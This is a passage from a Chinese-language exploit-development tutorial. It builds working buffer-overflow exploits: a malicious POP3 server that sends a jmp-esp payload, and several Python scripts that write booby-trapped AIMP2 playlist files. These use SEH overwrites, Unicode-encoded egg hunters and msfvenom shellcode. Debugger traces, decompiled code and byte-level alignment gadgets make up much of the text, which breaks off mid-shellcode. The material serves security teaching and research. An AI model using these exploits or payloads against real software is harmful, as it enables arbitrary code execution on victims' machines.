shellcode += "\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33"
shellcode += "\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31"
shellcode += "\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb"
shellcode += "\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69"
shellcode += "\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80"
shellcode += "\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65"
shellcode += "\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43"
shellcode += "\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88"
shellcode += "\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8"
shellcode += "\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a"
shellcode += "\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87"
shellcode += "\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20"
shellcode += "\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72"
shellcode += "\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac"
shellcode += "\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f"
shellcode += "\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d"
shellcode += "\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b"
shellcode += "\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb"
shellcode += "\x22\x8a\x57\x12\xc1\x2a\xfd\x6a"

egg = "lary"
egg_hunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" + egg + "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

response = "-ERR "
padding = "A" * 711
jmp = "\x5b\x4e\xd3\x77" #77d34e5b jmp esp from user32.dll 
junk = "B" * 500

payload = response + padding + jmp + egg_hunter + junk + egg * 2 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("192.168.56.1", 110))
s.listen(1)
conn, addr = s.accept()
print "Connected by", addr

counter = 0
while 1:
    counter += 1
    conn.sendall(payload)
    print counter

0x03 遇上Unicode

在Part7的example2中还遗留了一个为解决的问题,一个基于SEH的漏洞,因为要执行Unicode编码的shellcode,所以eax赋值为ebp+0x100然后跳转执行,最后发现栈空间不够无法容纳五百多字节的shellcode,那么现在就可以用短小的egg hunter来解决这个问题。

漏洞原理

强迫症还是想看一下漏洞点和相关的偏移,篇幅所限也就不会太刨根问底哈。首先windbg附加至程序运行poc文件后,可知在004530c6处将栈空间打满,定位相关的代码处为:

int __fastcall Sysutils::WideFmtStr(int *a1, _WORD *a2, int a3, int a4)
{
  int *v4; // esi@1
  signed int v5; // ebx@1
  int v6; // eax@2
  int v7; // eax@2
  int v8; // eax@6
  int result; // eax@8
  char v10; // [sp+0h] [bp-2008h]@2
  int v11; // [sp+2000h] [bp-8h]@1
  _WORD *v12; // [sp+2004h] [bp-4h]@1

  v11 = a3;
  v12 = a2;
  v4 = a1;
  v5 = 0x2000;
  if ( System::__linkproc__ WStrLen((int)a2) >= 6144 )
  {
    v7 = System::__linkproc__ WStrLen((int)v12);
    v5 = v7;
  }
  else
  {
    v6 = System::__linkproc__ WStrLen((int)v12);
    v7 = Sysutils::WideFormatBuf((int)&v10, 0x1FFF, v12, v6, v11, a4);
  }

其中的Sysutils::WideFormatBuf类似于snprintf,不过第二参数BufLen并没有起到限制长度的作用,调试可以看下漏洞函数的起始环境:

0:016> bp 00452fe4
*** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll - 
0:016> g
Breakpoint 0 hit
eax=0012dd38 ebx=00002000 ecx=00328a54 edx=00001fff esi=0012fd7c edi=0000001b
eip=00452fe4 esp=0012dd20 ebp=0012fd40 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi:
00452fe4 55              push    ebp
0:000> dd esp L4
0012dd20  004537b3 00000000 0012fd70 0000002f
0:000> db ecx
00328a54  57 00 61 00 72 00 6e 00-69 00 6e 00 67 00 21 00  W.a.r.n.i.n.g.!.
00328a64  20 00 44 00 65 00 63 00-6f 00 64 00 65 00 72 00   .D.e.c.o.d.e.r.
00328a74  20 00 66 00 6f 00 72 00-20 00 74 00 68 00 65 00   .f.o.r. .t.h.e.
00328a84  20 00 66 00 69 00 6c 00-65 00 20 00 25 00 73 00   .f.i.l.e. .%.s.
00328a94  20 00 77 00 61 00 73 00-20 00 6e 00 6f 00 74 00   .w.a.s. .n.o.t.
00328aa4  20 00 66 00 6f 00 75 00-6e 00 64 00 2e 00 00 00   .f.o.u.n.d.....
00328ab4  75 00 65 00 3b 00 29 00-00 00 2a 00 2e 00 70 00  u.e.;.)...*...p.
00328ac4  6c 00 63 00 3b 00 2a 00-2e 00 6d 00 33 00 75 00  l.c.;.*...m.3.u.
0:000> dd 0012fd70 L1
0012fd70  03e34b44
0:000> db 03e34b44
03e34b44  5a 00 3a 00 5c 00 38 00-5c 00 41 00 41 00 41 00  Z.:.\.8.\.A.A.A.
03e34b54  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e34b64  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e34b74  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e34b84  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e34b94  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e34ba4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e34bb4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0:000> db 03e34b44+0n10000
03e37254  41 00 41 00 41 00 41 00-41 00 00 00 00 00 00 00  A.A.A.A.A.......
03e37264  00 00 00 00 00 00 00 00-00 00 00 00 22 66 bc 9e  ............"f..
03e37274  14 cf 07 08 1a 27 00 00-5a 00 3a 00 5c 00 38 00  .....'..Z.:.\.8.
03e37284  5c 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  \.A.A.A.A.A.A.A.
03e37294  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e372a4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e372b4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
03e372c4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0:000> !exchain
0012fd58: *** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2c.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\AIMP2\AIMP2c.exe
AIMP2c+a303 (0040a303)
0012fd8c: AIMP2c+9ed3 (00409ed3)
0012fdb8: AIMP2c+9bea (00409bea)
0012fe84: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, func:   USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fee4: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
                func:   USER32!DispatchMessageWorker+159 (77d4b418)
0012ff48: AIMP2!FormsTApplicationRun$qqrv+a5 (004ba411)
0012ff54: AIMP2!FormsTApplicationRun$qqrv+de (004ba44a)
0012ff7c: AIMP2!SystemTryFinallyExit$qqrv+b8 (00446d78)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
                func:   ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff

虽然是fastcall,但结合IDA可以看出其传参是通过eax、edx、ecx,剩余的参数从右向左入栈。长度限制不起效就会使poc将栈空间打满覆盖SEH handler,感兴趣的同学可以试试直接覆盖返回地址的方法。然后和原文中的一样,pop pop ret后看看上下文环境:

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0045000e edx=77f071cd esi=00000000 edi=00000000
eip=0045000e esp=0012d718 ebp=0012d738 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+0xc2:
0045000e 59              pop     ecx
0:000> p
eax=00000000 ebx=00000000 ecx=77f071b9 edx=77f071cd esi=00000000 edi=00000000
eip=0045000f esp=0012d71c ebp=0012d738 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+0xc3:
0045000f 5d              pop     ebp
0:000> 
eax=00000000 ebx=00000000 ecx=77f071b9 edx=77f071cd esi=00000000 edi=00000000
eip=00450010 esp=0012d720 ebp=0012d800 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+0xc4:
00450010 c3              ret
0:000> 
eax=00000000 ebx=00000000 ecx=77f071b9 edx=77f071cd esi=00000000 edi=00000000
eip=0012fd58 esp=0012d724 ebp=0012d800 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0012fd58 41              inc     ecx
0:000> 
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd59 esp=0012d724 ebp=0012d800 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fd59 006d00          add     byte ptr [ebp],ch          ss:0023:0012d800=05
0:000> 
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd5c esp=0012d724 ebp=0012d800 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fd5c 0e              push    cs
0:000> 
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd5d esp=0012d720 ebp=0012d800 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fd5d 004500          add     byte ptr [ebp],al          ss:0023:0012d800=76
0:000> 
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd60 esp=0012d720 ebp=0012d800 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fd60 42              inc     edx
0:000> db eip
0012fd60  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fd70  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fd80  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fd90  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fda0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdb0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdc0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdd0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0:000> dd esp L8
0012d720  0012001b 0012d81c 0012d7d4 0012fd58
0012d730  77f071cd 0012fd58 0012d7e8 77f0718b

和原文中的类似但到next she的偏移为4077,在原文中因为使eax赋值为ebp+100再跳转执行,向后栈空间不够复制所有编码的shellcode,本文中的环境也是类似,eax最终会为0012fe58,无法容纳五百多字节的shellcode。

向前跳转

原文中的做法其实是借助eax向后跳,如果我们能向前跳,那么空间绝对是足够的。观察上下文可以发现,buf起始点为0012dd38pop pop ret后ebp为0012d800,那么正好可以利用eax赋值为ebp+700,然后就可以跳转shellcode了:

# mov eax, ebp
\x55 push ebp
\x6d add byte ptr [ebp], ch
\x58 pop eax

# add eax, 0x700
\x6d 
\x05\x18\x11 add eax, 0x11001800
\x6d
\x2d\x11\x11 sub eax, 0x11001100
\x6d

# jmp eax
\x50 push eax
\x6d
\xc3 ret

调整好偏移就可以很轻松地利用了:

headers = ""
headers += "[playlist]\n"
headers += "NumberOfEntries=3\n\n"
headers += "File1="
padding_one = "A" * 193

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
shellcode =  ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51"
shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35"
shellcode += "\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
shellcode += "\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58"
shellcode += "\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42"
shellcode += "\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31"
shellcode += "\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59"
shellcode += "\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
shellcode += "\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59"
shellcode += "\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54"
shellcode += "\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32"
shellcode += "\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30"
shellcode += "\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37"
shellcode += "\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f"
shellcode += "\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39"
shellcode += "\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c"
shellcode += "\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34"
shellcode += "\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54"
shellcode += "\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44"
shellcode += "\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51"
shellcode += "\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50"
shellcode += "\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56"
shellcode += "\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e"
shellcode += "\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c"
shellcode += "\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50"
shellcode += "\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51"
shellcode += "\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d"
shellcode += "\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d"
shellcode += "\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31"
shellcode += "\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b"
shellcode += "\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c"
shellcode += "\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44"
shellcode += "\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32"
shellcode += "\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b"
shellcode += "\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31"
shellcode += "\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b"
shellcode += "\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35"
shellcode += "\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50"
shellcode += "\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52"
shellcode += "\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43"
shellcode += "\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41"
shellcode += "\x41"

padding_two = "B" * (4077-193-len(shellcode))
next_seh = "\x41\x6d"
handler = "\x0e\x45"
jumper = "\x55\x6d\x58\x6d\x05\x18\x11\x6d\x2d\x11\x11\x6d\x50\x6d\xc3"
junk = "C" * 1000

payload = headers + padding_one + shellcode + padding_two + next_seh + handler + jumper + junk

with open("mr_mes_funky.pls", "w") as f:
    f.write(payload)

编码egg hunter

如果按照Part7中对example2的利用逻辑,当前环境下经过4次pop eax,再add eax, 0x100后eax即为0012fe58,距离栈底还有424字节,还是可以容纳195*2字节的unicode编码后的egg_hunter。

egg = "lary"
egg_hunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" + egg + "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

with open("egg_hunter.bin", "w") as f:
    f.write(egg_hunter)

仅对egg_hunter进行编码,在内存中搜寻原始的egg和shellcode,最后再跳转执行也是可行的:

headers = ""
headers += "[playlist]\n"
headers += "NumberOfEntries=3\n\n"
headers += "File1="
padding_one = "A" * 4077
next_seh = "\x41\x6d"
handler = "\x0e\x45"
jumper = "\x58\x6d\x58\x6d\x58\x6d\x58\x6d\x05\x02\x11\x6d\x2d\x01\x11\x6d\x50\x6d\xc3"
padding_two = "B" * (128-len(next_seh+handler+jumper))
junk = "C" * 500

# cat egg_hunter.bin | msfvenom -a x86 --platform windows -e x86/unicode_upper BufferRegister=EAX -f python -v egg_hunter
# Attempting to read payload from STDIN...
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 195 (iteration=0)
# x86/unicode_upper chosen with final size 195
# Payload size: 195 bytes
# Final size of python file: 1103 bytes
egg_hunter =  ""
egg_hunter += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49"
egg_hunter += "\x41\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55"
egg_hunter += "\x33\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41"
egg_hunter += "\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51"
egg_hunter += "\x41\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31"
egg_hunter += "\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31\x31"
egg_hunter += "\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41"
egg_hunter += "\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41"
egg_hunter += "\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x31"
egg_hunter += "\x41\x49\x41\x4a\x51\x49\x31\x41\x59\x41\x5a"
egg_hunter += "\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33\x30"
egg_hunter += "\x41\x50\x42\x39\x34\x34\x4a\x42\x33\x36\x53"
egg_hunter += "\x51\x48\x4a\x4b\x4f\x4c\x4f\x50\x42\x52\x32"
egg_hunter += "\x31\x5a\x4d\x32\x42\x38\x38\x4d\x4e\x4e\x4f"
egg_hunter += "\x4c\x4c\x45\x51\x4a\x53\x44\x5a\x4f\x38\x38"
egg_hunter += "\x52\x4c\x31\x51\x53\x42\x54\x39\x54\x4b\x5a"
egg_hunter += "\x5a\x56\x4f\x44\x35\x4a\x4a\x46\x4f\x43\x45"
egg_hunter += "\x5a\x47\x4b\x4f\x59\x57\x41\x41"

egg = "lary"
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
shellcode =  ""
shellcode += "\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93"
shellcode += "\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e"
shellcode += "\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += "\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50"
shellcode += "\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += "\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
shellcode += "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
shellcode += "\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33"
shellcode += "\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c"
shellcode += "\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c"
shellcode += "\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54"
shellcode += "\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e"
shellcode += "\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47"
shellcode += "\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d"
shellcode += "\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42"
shellcode += "\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54"
shellcode += "\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50"
shellcode += "\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c"
shellcode += "\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c"
shellcode += "\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b"
shellcode += "\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59"
shellcode += "\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53"
shellcode += "\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a"
shellcode += "\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59"
shellcode += "\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56"
shellcode += "\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c"
shellcode += "\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31"
shellcode += "\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46"
shellcode += "\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c"
shellcode += "\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33"
shellcode += "\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43"
shellcode += "\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b"
shellcode += "\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f"
shellcode += "\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d"
shellcode += "\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35"
shellcode += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f"
shellcode += "\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45"
shellcode += "\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52"
shellcode += "\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53"
shellcode += "\x30\x41\x41"

payload = headers + padding_one + next_seh + handler + jumper + padding_two + egg_hunter + junk + egg * 2 + shellcode

with open("mr_mes_funky.pls", "w") as f:
    f.write(payload)

编码egg hunter与shellcode

按照原文中的第二条思路,使用egg hunter来寻找unicode版本的shellcode,对应的egg和编码后的egg_hunter也需要变化一下:

egg = "x\x00i\x00"
egg_hunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" + egg + "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

with open("egg_hunter.bin", "w") as f:
    f.write(egg_hunter)

在egg hunter跳转执行后,由于是unicode编码的shellcode,所以要使eax指向shellcode的起始位置。这时的eip也就是edi,借助edi的值增加一个偏移就可以定位至shellcode了:

# mov eax, edi
\x57 push edi
\x6d nop
\x58 pop eax
\x6d nop

# add eax, 0x18
\xb9\x18\xaa mov ecx, 0xaa001800
\xe8 add al,ch
\x6d nop

# jmp eax
\x50 push eax
\x6d
\xc3 ret

其实之前0x100+424字节的栈空间,结合增加eax一个小偏移再进行跳转还是能够存放下完整的shellcode。另外,这个小偏移在本文的环境中为0x18(在原文中应为0x1a,但不知为何写成了0x1b),最后还是可以执行unicode版的shellcode:

headers = ""
headers += "[playlist]\n"
headers += "NumberOfEntries=3\n\n"
headers += "File1="
padding_one = "A" * 4077
next_seh = "\x41\x6d"
handler = "\x0e\x45"
jumper = "\x58\x6d\x58\x6d\x58\x6d\x58\x6d\x05\x02\x11\x6d\x2d\x01\x11\x6d\x50\x6d\xc3"
padding_two = "B" * (128-len(next_seh+handler+jumper))
junk = "C" * 500

# cat egg_hunter.bin | msfvenom -a x86 --platform windows -e x86/unicode_upper BufferRegister=EAX -f python -v egg_hunter
# Attempting to read payload from STDIN...
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 195 (iteration=0)
# x86/unicode_upper chosen with final size 195
# Payload size: 195 bytes
# Final size of python file: 1103 bytes
egg_hunter =  ""
egg_hunter += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49"
egg_hunter += "\x41\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55"
egg_hunter += "\x33\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41"
egg_hunter += "\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51"
egg_hunter += "\x41\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31"
egg_hunter += "\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31\x31"
egg_hunter += "\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41"
egg_hunter += "\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41"
egg_hunter += "\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x31"
egg_hunter += "\x41\x49\x41\x4a\x51\x49\x31\x41\x59\x41\x5a"
egg_hunter += "\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33\x30"
egg_hunter += "\x41\x50\x42\x39\x34\x34\x4a\x42\x43\x36\x35"
egg_hunter += "\x31\x48\x4a\x4b\x4f\x4c\x4f\x30\x42\x51\x42"
egg_hunter += "\x42\x4a\x4d\x32\x42\x38\x38\x4d\x4e\x4e\x4f"
egg_hunter += "\x4c\x4c\x45\x31\x4a\x44\x34\x4a\x4f\x57\x48"
egg_hunter += "\x34\x38\x4d\x30\x52\x49\x4d\x30\x54\x4b\x4b"
egg_hunter += "\x4a\x56\x4f\x44\x35\x39\x5a\x46\x4f\x53\x45"
egg_hunter += "\x59\x57\x4b\x4f\x59\x57\x41\x41"

egg = "xi"
align = "\x57\x6d\x58\x6d\xb9\x18\xaa\xe8\x6d\x50\x6d\xc3"
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
shellcode =  ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51"
